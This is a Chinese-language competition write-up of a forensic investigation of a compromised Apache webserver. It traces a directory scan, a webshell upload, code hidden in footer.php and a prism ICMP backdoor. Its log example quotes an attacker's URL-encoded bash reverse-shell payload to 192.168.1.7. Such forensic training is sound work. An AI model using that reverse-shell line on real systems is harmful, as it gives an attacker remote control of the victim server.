记一次某网络安全比赛三阶段webserver应急响应解题过程
0X01 任务说明

0X02 靶机介绍
Webserver(Web服务器)是一种软件或硬件设备,用于接收、处理并响应来自客户端(如浏览器)的HTTP请求,提供网页、图片、视频等静态或动态内容,是互联网基础设施的核心组件之一,其主要功能包括处理HTTP请求(接收客户端如浏览器发送的GET、POST等请求)、生成响应(根据请求内容返回对应资源如HTML页面、JSON数据)、管理静态文件(直接提供图片、CSS、JavaScript等静态资源)、与后端服务协作(通过API或脚本语言如PHP、Python与后端应用交互生成动态内容)以及支持安全协议(如HTTPS加密传输)、负载均衡(分发请求到多个服务器)和日志记录(记录访问信息用于分析和审计)等,常见的Web服务器软件包括Apache HTTP Server、Nginx、Microsoft IIS、Lighttpd等,它们在性能、功能、配置复杂度等方面各有特点,广泛应用于网站托管、应用服务、API网关等场景。
0X03 涉及知识
- access.log:
位置:通常位于 /var/log/apache2/ 或 /var/log/httpd/ 目录下。
作用:记录对服务器的每个HTTP请求的详细信息,包括访问时间、请求方法、URL、客户端IP等。
格式:日志格式可以在配置文件中自定义,但通常包括客户端IP、用户标识符、用户名称、日期、请求
方法:请求的URL、HTTP协议版本、响应状态码、响应大小等信息。- error.log:
位置:通常位于 /var/log/apache2/ 或 /var/log/httpd/ 目录下。
作用:记录Apache服务器的错误和警告消息,用于故障排除和问题诊断。
格式:通常包含错误消息、时间戳和错误级别。- other_vhosts_access.log(虚拟主机访问日志):
位置:通常位于虚拟主机配置中指定的位置。
作用:记录虚拟主机的HTTP请求,与 access.log 类似,但仅针对特定虚拟主机。
格式:与 access.log 相同。
access.log日志格式
access.log 文件的格式是可配置的,通常使用常见的日志格式,包括以下字段:
- 客户端IP地址:发出请求的客户端的IP地址。
- 客户端标识符(标识客户端身份的用户或代理):通常为空。
- 用户名(如果启用了HTTP身份验证,记录请求的用户名称):通常为空。
- 记录时间:请求被记录的时间。
- 请求方法:HTTP请求方法(例如,GET、POST)。
- 请求的URL:被请求的资源的URL。
- HTTP协议版本:请求使用的HTTP协议版本。
- 服务器响应状态码:服务器对请求的响应状态码(例如,200表示成功,404表示未找到,500表示服务器错误)。
- 响应大小:服务器响应的大小(以字节为单位)。
- 引用来源:如果有的话,表示从哪个页面链接访问的。
- 用户代理:发出请求的用户代理信息,通常包含浏览器类型和版本等。
例:
192.168.1.7 - - [24/Apr/2022:15:27:32 +0000] "GET /data/avatar/1.php?
2022=bash%20-i%20%3E&%20/dev/tcp/192.168.1.7/1234%200%3E&1 HTTP/1.1" 200
242 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0"
1.客户端IP地址:192.168.1.7
2.客户端标识符: -
3.用户名: -
4.记录时间:[24/Apr/2022:15:27:32 +0000]
5.请求方法:GET
6.请求的URL:/data/avatar/1.php?2022=bash%20-
i%20%3E&%20/dev/tcp/192.168.1.7/1234%200%3E&1
7.HTTP协议版本:HTTP/1.1
8.服务器响应状态码:200
9.响应大小:242
10.引用来源(Referer):"-"
11.用户代理:"Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0"
error.log日志格式
[Sun Apr 24 15:17:51.546416 2022] [:error] [pid 77910] [client
192.168.1.7:53328] script '/var/www/html/phpfm.php' not found or unable to
stat
[Sun Apr 24 15:17:51.546416 2022]:表示错误发生的日期和时间,以及微秒级别的时间戳。这告诉您错误发生在2022年4月24日15:17:51.546416。这个时间戳通常以世界协调时(UTC)格式表示。[:error]:指示错误的级别。在这里,级别是错误(error),这是Apache日志中的一种标准级别,表示发生了一个错误事件。[pid 77910]:指示与错误相关的进程ID(PID)。在这里,PID是77910。这个信息对于跟踪特定请求的错误非常有用。[client 192.168.1.7:53328]:指示客户端的IP地址和端口号。在这里,客户端的IP地址是192.168.1.7,而连接的端口号是53328。这有助于确定引发错误的客户端。script '/var/www/html/phpfm.php' not found or unable to stat:这是错误消息的正文部分,提供了有关错误的详细信息。具体来说,它表示Apache服务器正在尝试查找名为phpfm.php的脚本文件,但未能找到它,或者由于某种原因无法对其进行状态检查(stat操作)。
这可能是因为文件不存在、权限问题或其他问题。
0X04 应急响应
1、提交攻击者的IP地址
首先,查看服务器所开放的端口,发现开放了80端口,并且运行的服务为apache2。

#通过access.log.1日志文件内容,查看服务器的各种状态。
vim /var/log/apache2/access.log.1

可以看到IP为192.168.1.7的用户使用了DIRSEARCH扫描工具对网站目录进行了大量扫描,接着查看最后100行日志,在日志文件中发现漏洞利用的代码,这里通过文件上传漏洞,上传了1.php文件,并执行了id和whoami命令,最后反弹了shell。

flag{192.168.1.7}
2、识别攻击者使用的操作系统

flag{Linux x86_64}
3、找出攻击者资产收集所使用的平台

flag{shodan}
4、提交攻击者目录扫描所使用的工具名称

flag{DIRSEARCH}
5、提交黑客首次攻击成功的时间,格式:DD /MM/YY:HH:MM:SS

flag{24/Apr/2022:15:26:42}
6、找到攻击者写入的恶意后门文件,提交文件名(完整路径)和后门密码

结合网站根目录路径为/var/www/html,木马所在的网站目录为/data/avatar/1.php 并且连接密码为2022。

flag{/var/www/html/data/avatar/1.php 2022}
7、找到攻击者隐藏在正常web应用代码中的恶意代码,提交该文件名(完整路径)
cd /var/www/html
#grep命令是Linux系统中一个非常重要且功能强大的文本搜索工具。
#以下命令用来检索网站根目录下包含一句话木马eval关键字的文件。
grep -r "eval"


flag{/var/www/html/footer.php}
8、识别系统中存在的恶意程序进程,提交进程名
使用crontab -l 查看任务计划发现存在后门进程

flag{prism}
9、找到文件系统中的恶意程序文件并提交文件名(完整路径)
#查看进程
ps -aux
#查看程序位置
lsof -p 981 (进程PID号)



flag{/root/.mal/prism}
10、简要描述该恶意文件的行为
https://github.com/andreafabrizi/prism 项目地址
flag{ICMP后门执行远程攻击者的命令}
相关文章:
记一次某网络安全比赛三阶段webserver应急响应解题过程
0X01 任务说明 0X02 靶机介绍 Webserver(Web服务器)是一种软件或硬件设备,用于接收、处理并响应来自客户端(如浏览器)的HTTP请求,提供网页、图片、视频等静态或动态内容,是互联网基础设施的核心…...
c# 新建不重名的唯一文件夹
在源文件夹内创建唯一目标文件夹 string newFolder GetUniqueFolderName(sourceFolder); Directory.CreateDirectory(newFolder); /// <summary>/// 生成唯一文件夹名称(格式:新建文件夹、新建文件夹1、新建文件夹2...)…...
复现QGIS-MCP教程
由于Claude国内下载不了尝试使用Cursor 下载安装Cursor Cursor - The AI Code Editor 本示例安装的是0.46版本 UV安装 简介 安装 安装成功 配置环境变量 验证 下载代码 git clone gitgithub.com:jjsantos01/qgis_mcp.git QGIS插件安装 文件拷贝 您需要将 qgis_mcp_plu…...
SQL:JOIN 完全指南:从基础到实战应用
JOIN 是 SQL 中最重要也最常用的操作之一,它允许我们从多个表中获取关联数据。本文将全面解析 SQL 中的各种 JOIN 类型,包括 INNER JOIN、LEFT JOIN、RIGHT JOIN、FULL JOIN 以及 CROSS JOIN,并通过实际示例展示它们的应用场景。 一、JOIN 基础概念 1.1 什么是 JOIN JOIN…...
docker部署certimateSSL证书管理自动续签
开源certimate项目地址:https://github.com/usual2970/certimate 官方文档地址:https://docs.certimate.me/docs/introduction 与certbot对比 维度CertbotCertimate安装方式通过包管理器(如apt/yum)安装支持二进制文件、Docker…...
R语言——直方图
参考资料:学习R 如果我们要研究一个连续变量的分布,直方图是最佳的选择。 1、base绘图 在base中可以使用hist函数绘制直方图,与plot函数一样,它没有data参数,须把数据框置于with中。 data(obama_vs_mccain,package&q…...
第4节:Python编程基础 - Python语法快速回顾
1. Python简介与环境配置 Python是一种高级、解释型、通用的编程语言,由Guido van Rossum于1991年首次发布。 它以简洁明了的语法和强大的功能而闻名,广泛应用于Web开发、数据分析、人工智能、科学计算等领域。 1.1 Python的特点 简单易学:…...
十四、C++速通秘籍—函数式编程
目录 上一章节: 一、引言 一、函数式编程基础 三、Lambda 表达式 作用: Lambda 表达式捕获值的方式: 注意: 四、函数对象 函数对象与普通函数对比: 五、函数适配器 1、适配普通函数 2、适配 Lambda 表达式 …...
蓝桥杯 2025 C++组 省 B 题解
可分解的正整数 算法:思维 因为可以有负数 所以除了1以外的任何数都可以构造 当这个数为x构造方法为 -(x-1) -(x-2) -(x-3) ....-1 0 1...x-3 x-2 x-1 x 除了x,x以前的数都会被负数抵消 #include <bits/stdc.h> #define ll long long ll a…...
如何让老电脑运行快些(极限榨干老电脑硬件)
要让老电脑运行更快,可以通过增加虚拟内存、优化系统设置和硬件升级等方法实现。以下是具体建议: 1. 增加虚拟内存(适合硬盘空间大的老电脑) 虚拟内存(页面文件)是硬盘上的一部分空间,用于扩展…...
博物馆小程序怎么做?从0到1打造数字化文化窗口
博物馆小程序怎么做?从0到1打造数字化文化窗口 一、行业痛点:传统博物馆的数字化困局 在数字化浪潮下,传统博物馆普遍面临三大挑战: 客流受限:线下接待能力有限,难以触达更广泛人群 互动单一…...
信息学奥赛一本通 1498:Roadblocks | 洛谷 P2865 [USACO06NOV] Roadblocks G
【题目链接】 ybt 1498:Roadblocks 洛谷 P2865 [USACO06NOV] Roadblocks G 【题目考点】 1. 图论:严格次短路径 严格次短路的路径长度必须大于最短路的路径长度。 非严格次短路的路径长度大于等于最短路的路径长度。 【解题思路】 每个交叉路口是一…...
1.5-APP的架构\微信小程序的架构
1.5-APP的架构\微信小程序的架构 APP的三种开发架构: 原生态APP类型 APP-开发架构-原生态-IDEA 演示:remusic项目源码 NP管理器: http://normalplayer.top/ HttpCanary:https://github.com/mingww64/HttpCanary-SSL-Magisk 安全影…...
【服务器端表单字符验证】
文章目录 一、实验目的二、核心代码实现三、调试关键问题四、总结 一、实验目的 掌握JSP表单验证在服务器端的实现技术,实现对用户输入字符的非空及长度为5的验证,返回对应提示信息并优化用户交互。 二、核心代码实现 前端表单 <form action"…...
【玩转全栈】—— Django 连接 vue3 保姆级教程,前后端分离式项目2025年4月最新!!!
本文基于之前的一个旅游网站,实现 Django 连接 vue3,使 vue3 能携带 CSRF Token 发送 axios 请求给后端,后端再响应数据给前端。想要源码直接滑倒底部。 目录 实现效果 解决跨域 获取 csrf-token 什么是 csrf-token ? CSRF攻击的…...
react中通过 EventEmitter 在组件间传递状态
要在 Reply 组件中通过 statusChangeEvent 发送状态值,并在 Select 组件中接收这个状态值 status,你可以按照以下步骤实现: //Event.jsimport EventEmitter from events;export const statusChangeEvent new EventEmitter();// 工单状态切换…...
数据库实验:分组查询与聚集函数的使用
目录 引言一、GROUP BY核心规则与常见错误二、高级分组选项:ROLLUP、CUBE与GROUPING SETS三、窗口函数:在原始行中显示分组聚合结果四、UNION ALL合并结果集:解决冗余查询问题五、实验体会 结语 (附上实验中表格的信息)…...
【mllm】——x64模拟htp的后端无法编译debug
mllm, qnn, x64 code:https://github.com/UbiquitousLearning/mllm 1. 问题 通过自定义qualcomm graph使用高通的htp后端进行llm推理,网络暂时只有mllm,和https://github.com/chraac/llama.cpp。qualcomm是支持x64模拟htp推理的,这样比较好d…...
计算机网络- UDP协议详解
UDP协议详解 5. UDP协议详解5.1 UDP协议基础5.1.1 UDP的基本概念5.1.2 UDP报文结构5.1.3 UDP校验和计算5.1.4 UDP在Linux内核中的实现UDP套接字的创建UDP数据的发送UDP数据的接收UDP校验和的计算 5.1.5 UDP的实际应用音视频流媒体在线游戏DNS查询VoIP通信网络时间同步 5.2 UDP编…...
Open-TeleVision源码解析——宇树摇操方案的重要参考:VR控制人形机器人采集数据
前言 本来针对Open-TeleVision的源码解析,是打算放在此文《从宇树摇操avp_teleoperate到unitree_IL_lerobot:如何基于宇树人形进行二次开发》中的,但考虑到为避免篇幅过长,故独立成此文 第一部分 Open-TeleVision的源码解析 如本…...
Embedding质量评估、空间塌缩、 Alignment Uniformity
Embedding质量的评估和空间塌缩的解决是自然语言处理(NLP)和推荐系统领域的关键问题。以下是综合多篇研究的总结: 一、Embedding质量评估方法 基准测试与任务指标 MTEB/C-MTEB:使用多语言或中文的基准测试集(如58个数据…...
[题解] Educational Codeforces Round 168 (Rated for Div. 2) E - level up
链接 思路 1 注意到在 k ∈ [ 1 , n ] k \in [1,n] k∈[1,n] 可以得到的最高等级分别为: n , n 2 , n 3 . . . . . n n n,\frac{n}{2},\frac{n}{3}.....\frac{n}{n} n,2n,3n.....nn, 总的个数是一个调和级数, s u m n ∗ ln n sumn*\ln n sumn∗lnn, 完全可以处…...
Lua 中的 table 类型详解
Lua 中的 table 类型详解 table 是 Lua 中唯一的数据结构机制,它实现了关联数组的功能,可以用来表示普通数组、序列、符号表、集合、记录、图、树等几乎所有数据结构。 基本特性 table 是 Lua 中唯一的数据结构类型可以包含任意类型的值(n…...
github进阶使用教程
目录索引 一、基本内容 repository fork star codespaces issue 在一个仓库创建话题讨论,可以由仓库主人选择开始和结束话题的讨论 pull request(也称 pr) 协同其他仓库开发,请求仓库主人拉取自己的代码合并到仓库的主分支&…...
推流265视频,网页如何支持显示265的webrtc
科技发展真快,以前在网页上(一般指谷歌浏览器),要显示265的视频流,都是很鸡肋的办法,要么转码,要么用很慢的hls,体验非常不好,而今谷歌官方最新的浏览器已经支持265的web…...
“破解”GPT-4o生图技术:万物皆可吉卜力的技术路线推测
👉目录 1 GPT-4o 的神奇魔法 2 GPT-4o 可能的技术路线推测 3 结语 最近 GPT-4o 生图模型横空出世,效果和玩法上都有突破性的进展,笔者整理了一下目前相关的技术,抛砖引玉一下,希望有更多大神分享讨论。 图源小红书恶魔…...
基于SpringBoot的电影订票系统(源码+数据库+万字文档+ppt)
504基于SpringBoot的电影订票系统,系统包含两种角色:管理员、用户主要功能如下。 【用户功能】 首页:浏览系统电影动态。 资讯信息:获取有关电影行业的新闻和资讯。 电影信息:查看电影的详细信息和排片情况。 公告信…...
07-算法打卡-链表-移除链表-leetcode(203)-第七天
1 题目地址 203. 移除链表元素 - 力扣(LeetCode)203. 移除链表元素 - 给你一个链表的头节点 head 和一个整数 val ,请你删除链表中所有满足 Node.val val 的节点,并返回 新的头节点 。 示例 1:[https://assets.leetc…...
[C++面试] 初始化相关面试点深究
一、入门 1、C中基础类型的初始化方式有哪些?请举例说明 默认初始化 对于全局变量和静态变量,基础类型(如int、float、double等)会被初始化为 0;而对于局部变量,其值是未定义的,包含随机…...
在线地图支持天地图和腾讯地图,仪表板和数据大屏支持发布功能,DataEase开源BI工具v2.10.7 LTS版本发布
2025年4月11日,人人可用的开源BI工具DataEase正式发布v2.10.7 LTS版本。 这一版本的功能变动包括:数据源方面,Oracle数据源支持获取和查询物化视图;图表方面,在线地图支持天地图、腾讯地图;新增子弹图&…...
